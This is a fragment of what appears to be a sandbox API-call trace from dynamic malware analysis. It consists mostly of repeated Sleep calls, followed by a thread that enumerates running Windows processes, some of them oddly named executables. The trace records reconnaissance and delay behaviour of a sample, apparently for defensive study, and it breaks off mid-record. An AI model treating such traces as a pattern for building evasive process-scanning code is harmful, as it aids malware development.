[0297.021] Sleep (dwMilliseconds=0x258) [0297.023] Sleep (dwMilliseconds=0x258) [0297.027] Sleep (dwMilliseconds=0x258) [0297.029] Sleep (dwMilliseconds=0x258) [0297.031] Sleep (dwMilliseconds=0x258) [0297.032] Sleep (dwMilliseconds=0x258) [0297.036] Sleep (dwMilliseconds=0x258) [0297.038] Sleep (dwMilliseconds=0x258) [0297.039] Sleep (dwMilliseconds=0x258) [0297.041] Sleep (dwMilliseconds=0x258) [0297.042] Sleep (dwMilliseconds=0x258) [0297.044] Sleep (dwMilliseconds=0x258) [0297.045] Sleep (dwMilliseconds=0x258) [0297.047] Sleep (dwMilliseconds=0x258) [0297.048] Sleep (dwMilliseconds=0x258) [0297.050] Sleep (dwMilliseconds=0x258) [0297.051] Sleep (dwMilliseconds=0x258) [0297.092] Sleep (dwMilliseconds=0x258) [0297.149] Sleep (dwMilliseconds=0x258) [0297.151] Sleep (dwMilliseconds=0x258) [0297.227] Sleep (dwMilliseconds=0x258) [0297.251] Sleep (dwMilliseconds=0x258) [0297.355] Sleep (dwMilliseconds=0x258) [0297.464] Sleep (dwMilliseconds=0x258) [0297.466] Sleep (dwMilliseconds=0x258) [0297.469] Sleep (dwMilliseconds=0x258) [0297.471] Sleep (dwMilliseconds=0x258) [0297.472] Sleep (dwMilliseconds=0x258) [0297.482] Sleep (dwMilliseconds=0x258) [0297.488] Sleep (dwMilliseconds=0x258) [0297.490] Sleep (dwMilliseconds=0x258) [0297.496] Sleep (dwMilliseconds=0x258) [0297.603] Sleep (dwMilliseconds=0x258) [0297.668] Sleep (dwMilliseconds=0x258) [0297.669] Sleep (dwMilliseconds=0x258) [0297.677] Sleep (dwMilliseconds=0x258) [0297.678] Sleep (dwMilliseconds=0x258) [0297.685] Sleep (dwMilliseconds=0x258) [0297.686] Sleep (dwMilliseconds=0x258) [0297.689] Sleep (dwMilliseconds=0x258) [0297.691] Sleep (dwMilliseconds=0x258) [0297.693] Sleep (dwMilliseconds=0x258) [0297.694] Sleep (dwMilliseconds=0x258) [0297.696] Sleep (dwMilliseconds=0x258) [0297.704] Sleep (dwMilliseconds=0x258) [0297.763] Sleep (dwMilliseconds=0x258) [0297.817] Sleep (dwMilliseconds=0x258) [0297.826] Sleep (dwMilliseconds=0x258) [0297.828] Sleep (dwMilliseconds=0x258) [0297.835] Sleep (dwMilliseconds=0x258) [0297.836] Sleep (dwMilliseconds=0x258) [0297.843] Sleep (dwMilliseconds=0x258) [0297.844] Sleep (dwMilliseconds=0x258) [0297.851] Sleep (dwMilliseconds=0x258) [0297.879] Sleep (dwMilliseconds=0x258) [0297.881] Sleep (dwMilliseconds=0x258) [0297.975] Sleep (dwMilliseconds=0x258) [0297.978] Sleep (dwMilliseconds=0x258) [0297.979] Sleep (dwMilliseconds=0x258) [0297.981] Sleep (dwMilliseconds=0x258) [0297.982] Sleep (dwMilliseconds=0x258) [0297.983] Sleep (dwMilliseconds=0x258) [0297.985] Sleep (dwMilliseconds=0x258) [0297.987] Sleep (dwMilliseconds=0x258) [0297.988] Sleep (dwMilliseconds=0x258) [0298.065] Sleep (dwMilliseconds=0x258) [0298.067] Sleep (dwMilliseconds=0x258) [0298.100] Sleep (dwMilliseconds=0x258) [0298.101] Sleep (dwMilliseconds=0x258) [0298.103] Sleep (dwMilliseconds=0x258) [0298.104] Sleep (dwMilliseconds=0x258) [0298.106] Sleep (dwMilliseconds=0x258) [0298.107] Sleep (dwMilliseconds=0x258) [0298.109] Sleep (dwMilliseconds=0x258) [0298.110] Sleep (dwMilliseconds=0x258) [0298.112] Sleep (dwMilliseconds=0x258) [0298.113] Sleep (dwMilliseconds=0x258) [0298.115] Sleep (dwMilliseconds=0x258) [0298.121] Sleep (dwMilliseconds=0x258) [0298.122] Sleep (dwMilliseconds=0x258) [0298.124] Sleep (dwMilliseconds=0x258) [0298.125] Sleep (dwMilliseconds=0x258) [0298.127] Sleep (dwMilliseconds=0x258) [0298.128] Sleep (dwMilliseconds=0x258) [0298.186] Sleep (dwMilliseconds=0x258) [0298.189] Sleep (dwMilliseconds=0x258) [0298.246] Sleep (dwMilliseconds=0x258) [0298.247] Sleep (dwMilliseconds=0x258) [0298.249] Sleep (dwMilliseconds=0x258) [0298.250] Sleep (dwMilliseconds=0x258) [0298.252] Sleep (dwMilliseconds=0x258) [0298.253] Sleep (dwMilliseconds=0x258) [0298.256] Sleep (dwMilliseconds=0x258) [0298.257] Sleep (dwMilliseconds=0x258) [0298.259] Sleep (dwMilliseconds=0x258) [0298.278] Sleep (dwMilliseconds=0x258) [0298.321] Sleep (dwMilliseconds=0x258) [0298.408] Sleep (dwMilliseconds=0x258) [0298.409] Sleep (dwMilliseconds=0x258) [0298.411] Sleep (dwMilliseconds=0x258) [0298.412] Sleep (dwMilliseconds=0x258) [0298.414] Sleep (dwMilliseconds=0x258) [0298.421] Sleep (dwMilliseconds=0x258) [0298.422] Sleep (dwMilliseconds=0x258) [0298.424] Sleep (dwMilliseconds=0x258) [0298.425] Sleep (dwMilliseconds=0x258) [0298.427] Sleep (dwMilliseconds=0x258) [0298.428] Sleep (dwMilliseconds=0x258) [0298.430] Sleep (dwMilliseconds=0x258) [0298.431] Sleep (dwMilliseconds=0x258) [0298.434] Sleep (dwMilliseconds=0x258) [0298.436] Sleep (dwMilliseconds=0x258) [0298.437] Sleep (dwMilliseconds=0x258) [0298.454] Sleep (dwMilliseconds=0x258) [0298.456] Sleep (dwMilliseconds=0x258) [0298.535] Sleep (dwMilliseconds=0x258) [0298.544] Sleep (dwMilliseconds=0x258) [0298.545] Sleep (dwMilliseconds=0x258) [0298.547] Sleep (dwMilliseconds=0x258) [0298.548] Sleep (dwMilliseconds=0x258) [0298.551] Sleep (dwMilliseconds=0x258) [0298.554] Sleep (dwMilliseconds=0x258) [0298.555] Sleep (dwMilliseconds=0x258) [0298.557] Sleep (dwMilliseconds=0x258) [0298.559] Sleep (dwMilliseconds=0x258) [0298.560] Sleep (dwMilliseconds=0x258) [0298.561] Sleep (dwMilliseconds=0x258) [0298.563] Sleep (dwMilliseconds=0x258) [0298.564] Sleep (dwMilliseconds=0x258) [0298.566] Sleep (dwMilliseconds=0x258) [0298.567] Sleep (dwMilliseconds=0x258) [0298.569] Sleep (dwMilliseconds=0x258) [0298.570] Sleep (dwMilliseconds=0x258) [0298.575] Sleep (dwMilliseconds=0x258) [0298.576] Sleep (dwMilliseconds=0x258) [0298.577] Sleep (dwMilliseconds=0x258) [0298.579] Sleep (dwMilliseconds=0x258) [0298.581] Sleep (dwMilliseconds=0x258) [0298.583] Sleep (dwMilliseconds=0x258) [0298.584] Sleep (dwMilliseconds=0x258) [0298.586] Sleep (dwMilliseconds=0x258) [0298.587] Sleep (dwMilliseconds=0x258) [0298.589] Sleep (dwMilliseconds=0x258) [0298.657] Sleep (dwMilliseconds=0x258) [0298.692] Sleep (dwMilliseconds=0x258) [0298.694] Sleep (dwMilliseconds=0x258) [0298.704] Sleep (dwMilliseconds=0x258) [0298.714] Sleep (dwMilliseconds=0x258) [0298.721] Sleep (dwMilliseconds=0x258) [0298.767] Sleep (dwMilliseconds=0x258) [0298.777] Sleep (dwMilliseconds=0x258) [0298.911] Sleep (dwMilliseconds=0x258) [0298.918] Sleep (dwMilliseconds=0x258) [0298.921] Sleep (dwMilliseconds=0x258) [0298.922] Sleep (dwMilliseconds=0x258) [0298.924] Sleep (dwMilliseconds=0x258) [0298.925] Sleep (dwMilliseconds=0x258) [0298.928] Sleep (dwMilliseconds=0x258) [0298.930] Sleep (dwMilliseconds=0x258) [0298.932] Sleep (dwMilliseconds=0x258) [0298.933] Sleep (dwMilliseconds=0x258) [0298.962] Sleep (dwMilliseconds=0x258) [0298.978] Sleep (dwMilliseconds=0x258) [0298.987] Sleep (dwMilliseconds=0x258) [0299.068] Sleep (dwMilliseconds=0x258) [0299.081] Sleep (dwMilliseconds=0x258) [0299.085] Sleep (dwMilliseconds=0x258) [0299.087] Sleep (dwMilliseconds=0x258) [0299.095] Sleep (dwMilliseconds=0x258) [0299.098] Sleep (dwMilliseconds=0x258) [0299.099] Sleep (dwMilliseconds=0x258) [0299.109] Sleep (dwMilliseconds=0x258) [0299.110] Sleep (dwMilliseconds=0x258) [0299.112] Sleep (dwMilliseconds=0x258) [0299.113] Sleep (dwMilliseconds=0x258) [0299.114] Sleep (dwMilliseconds=0x258) [0299.204] Sleep (dwMilliseconds=0x258) [0299.205] Sleep (dwMilliseconds=0x258) [0299.225] Sleep (dwMilliseconds=0x258) [0299.226] Sleep (dwMilliseconds=0x258) [0299.228] Sleep (dwMilliseconds=0x258) [0299.229] Sleep (dwMilliseconds=0x258) [0299.231] Sleep (dwMilliseconds=0x258) [0299.232] Sleep (dwMilliseconds=0x258) [0299.234] Sleep (dwMilliseconds=0x258) [0299.235] Sleep (dwMilliseconds=0x258) [0299.237] Sleep (dwMilliseconds=0x258) [0299.238] Sleep (dwMilliseconds=0x258) [0299.240] Sleep (dwMilliseconds=0x258) [0299.241] Sleep (dwMilliseconds=0x258) [0299.244] Sleep (dwMilliseconds=0x258) [0299.246] Sleep (dwMilliseconds=0x258) [0299.247] Sleep (dwMilliseconds=0x258) [0299.249] Sleep (dwMilliseconds=0x258) [0299.250] Sleep (dwMilliseconds=0x258) [0299.252] Sleep (dwMilliseconds=0x258) [0299.253] Sleep (dwMilliseconds=0x258) [0299.255] Sleep (dwMilliseconds=0x258) [0299.305] Sleep (dwMilliseconds=0x258) [0299.350] Sleep (dwMilliseconds=0x258) [0299.352] Sleep (dwMilliseconds=0x258) [0299.353] Sleep (dwMilliseconds=0x258) [0299.355] Sleep (dwMilliseconds=0x258) [0299.357] Sleep (dwMilliseconds=0x258) [0299.358] Sleep (dwMilliseconds=0x258) [0299.360] Sleep (dwMilliseconds=0x258) [0299.362] Sleep (dwMilliseconds=0x258) [0299.364] Sleep (dwMilliseconds=0x258) [0299.366] Sleep (dwMilliseconds=0x258) [0299.368] Sleep (dwMilliseconds=0x258) [0299.369] Sleep (dwMilliseconds=0x258) [0299.371] Sleep (dwMilliseconds=0x258) [0299.373] Sleep (dwMilliseconds=0x258) [0299.375] Sleep (dwMilliseconds=0x258) [0299.377] Sleep (dwMilliseconds=0x258) [0299.379] Sleep (dwMilliseconds=0x258) [0299.410] Sleep (dwMilliseconds=0x258) [0299.412] Sleep (dwMilliseconds=0x258) [0299.484] Sleep (dwMilliseconds=0x258) [0299.487] Sleep (dwMilliseconds=0x258) [0299.489] Sleep (dwMilliseconds=0x258) [0299.490] Sleep (dwMilliseconds=0x258) [0299.492] Sleep (dwMilliseconds=0x258) [0299.494] Sleep (dwMilliseconds=0x258) [0299.495] Sleep (dwMilliseconds=0x258) [0299.497] Sleep (dwMilliseconds=0x258) [0299.498] Sleep (dwMilliseconds=0x258) [0299.500] Sleep (dwMilliseconds=0x258) [0299.501] Sleep (dwMilliseconds=0x258) [0299.503] Sleep (dwMilliseconds=0x258) [0299.508] Sleep (dwMilliseconds=0x258) [0299.509] Sleep (dwMilliseconds=0x258) [0299.510] Sleep (dwMilliseconds=0x258) [0299.512] Sleep (dwMilliseconds=0x258) [0299.591] Sleep (dwMilliseconds=0x258) [0299.594] Sleep (dwMilliseconds=0x258) [0299.611] Sleep (dwMilliseconds=0x258) [0299.613] Sleep (dwMilliseconds=0x258) [0299.614] Sleep (dwMilliseconds=0x258) [0299.615] Sleep (dwMilliseconds=0x258) [0299.617] Sleep (dwMilliseconds=0x258) [0299.618] Sleep (dwMilliseconds=0x258) [0299.621] Sleep (dwMilliseconds=0x258) [0299.624] Sleep (dwMilliseconds=0x258) [0299.625] Sleep (dwMilliseconds=0x258) [0299.626] Sleep (dwMilliseconds=0x258) [0299.628] Sleep (dwMilliseconds=0x258) [0299.630] Sleep (dwMilliseconds=0x258) [0299.631] Sleep (dwMilliseconds=0x258) [0299.632] Sleep (dwMilliseconds=0x258) [0299.634] Sleep (dwMilliseconds=0x258) [0299.635] Sleep (dwMilliseconds=0x258) [0299.637] Sleep (dwMilliseconds=0x258) [0299.639] Sleep (dwMilliseconds=0x258) [0299.640] Sleep (dwMilliseconds=0x258) [0299.692] Sleep (dwMilliseconds=0x258) [0299.694] Sleep (dwMilliseconds=0x258) [0299.738] Sleep (dwMilliseconds=0x258) [0299.746] Sleep (dwMilliseconds=0x258) [0299.747] Sleep (dwMilliseconds=0x258) [0299.755] Sleep (dwMilliseconds=0x258) [0299.756] Sleep (dwMilliseconds=0x258) [0299.763] Sleep (dwMilliseconds=0x258) [0299.771] Sleep (dwMilliseconds=0x258) [0299.807] Sleep (dwMilliseconds=0x258) [0299.816] Sleep (dwMilliseconds=0x258) [0299.886] Sleep (dwMilliseconds=0x258) [0299.887] Sleep (dwMilliseconds=0x258) [0299.888] Sleep (dwMilliseconds=0x258) [0299.893] Sleep (dwMilliseconds=0x258) [0299.894] Sleep (dwMilliseconds=0x258) [0299.902] Sleep (dwMilliseconds=0x258) [0299.908] Sleep (dwMilliseconds=0x258) [0299.916] Sleep (dwMilliseconds=0x258) [0299.921] Sleep (dwMilliseconds=0x258) [0299.929] Sleep (dwMilliseconds=0x258) [0300.062] Sleep (dwMilliseconds=0x258) [0300.070] Sleep (dwMilliseconds=0x258) [0300.094] Sleep (dwMilliseconds=0x258) [0300.095] Sleep (dwMilliseconds=0x258) [0300.097] Sleep (dwMilliseconds=0x258) [0300.098] Sleep (dwMilliseconds=0x258) [0300.100] Sleep (dwMilliseconds=0x258) [0300.102] Sleep (dwMilliseconds=0x258) [0300.103] Sleep (dwMilliseconds=0x258) [0300.104] Sleep (dwMilliseconds=0x258) [0300.106] Sleep (dwMilliseconds=0x258) [0300.107] Sleep (dwMilliseconds=0x258) [0300.108] Sleep (dwMilliseconds=0x258) [0300.110] Sleep (dwMilliseconds=0x258) [0300.112] Sleep (dwMilliseconds=0x258) [0300.113] Sleep (dwMilliseconds=0x258) [0300.114] Sleep (dwMilliseconds=0x258) [0300.117] Sleep (dwMilliseconds=0x258) [0300.119] Sleep (dwMilliseconds=0x258) [0300.121] Sleep (dwMilliseconds=0x258) [0300.122] Sleep (dwMilliseconds=0x258) [0300.124] Sleep (dwMilliseconds=0x258) [0300.340] Sleep (dwMilliseconds=0x258) [0301.110] Sleep (dwMilliseconds=0x258) [0301.112] Sleep (dwMilliseconds=0x258) Thread: id = 58 os_tid = 0x88c [0095.966] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xde4 [0095.991] Process32First (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0095.995] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0095.998] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0096.000] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0096.002] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0096.004] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0096.007] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0096.009] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0096.012] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0096.014] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.017] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.019] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0096.021] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x56, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.022] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.024] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.026] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.028] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.029] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.031] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.033] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0096.034] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.036] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0096.037] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x32, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0096.039] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.041] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0096.043] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0096.059] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0096.075] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0096.077] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0096.081] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0096.082] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0096.084] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.086] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0096.088] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0096.089] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0096.091] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0096.093] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0096.095] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0096.097] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0096.099] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0096.100] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0096.133] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0096.135] Process32Next (in: hSnapshot=0xde4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, 